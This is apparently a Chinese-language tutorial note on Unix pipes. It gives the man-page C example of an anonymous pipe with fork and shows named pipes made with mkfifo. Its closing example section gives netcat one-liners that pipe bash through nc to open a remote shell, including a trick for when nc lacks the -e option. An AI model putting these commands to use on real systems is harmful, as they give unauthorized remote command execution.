pipe分为有名管道和匿名管道
1.匿名管道的系统调用
//代码来源 man pipe
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int
main(int argc, char *argv[])
{
int pipefd[2];
pid_t cpid;
char buf;
if (argc != 2) {
fprintf(stderr, "Usage: %s <string>\n", argv[0]);
exit(EXIT_FAILURE);
}
if (pipe(pipefd) == -1) {
perror("pipe");
exit(EXIT_FAILURE);
}
cpid = fork();
if (cpid == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
if (cpid == 0) { /* Child reads from pipe */
close(pipefd[1]); /* Close unused write end */
while (read(pipefd[0], &buf, 1) > 0)
write(STDOUT_FILENO, &buf, 1);
write(STDOUT_FILENO, "\n", 1);
close(pipefd[0]);
_exit(EXIT_SUCCESS);
} else { /* Parent writes argv[1] to pipe */
close(pipefd[0]); /* Close unused read end */
write(pipefd[1], argv[1], strlen(argv[1]));
close(pipefd[1]); /* Reader will see EOF */
wait(NULL); /* Wait for child */
exit(EXIT_SUCCESS);
}
}
可以看出来基本是当成文件来用的,所以在shell里用法也应该差不多。
2.shell中的pipe
2.1 创建
mknod pipe_name p
mkfifo pipe_name
2.2 使用
#下面两句的顺序不重要
#不过先运行的指令会卡住
#这里cat执行后echo这句才会结束
echo aaa > pipe_name
cat pipe_name
cat > pipe_name
cat < pipe_name #同cat pipe_name
关于cat:
cat|cat|cat|cat|cat #效果等价于一个cat
另外一个无聊的用法:
mkfifo myin
mkfifo myout
cat >myin
cat <myout
bash <myin >myout 2>&1 &
总之有了管道之后,就可把不同程序的输入和输出像接水管一样接起来。。。
管道是可以有n个输入和n个输出的,
当一个管道有多个输出时,默认输出轮流在多个输出间切换(轮询调度)(Round-Robin Scheduling)
3.例子
用pipe实现nc反弹shell
#0 stdin
#1 stdout
#2 stderr
$ bash < aaa |nc -l 1234 1>aaa
另外一个跳过-e选项的方法
nc -l port1
nc -l port2
nc ip port1 | bash | nc ip port2
参考:
1.http://www.2cto.com/Article/201407/318222.html
2.http://www.waitalone.cn/linux-shell-rebound-under-way.html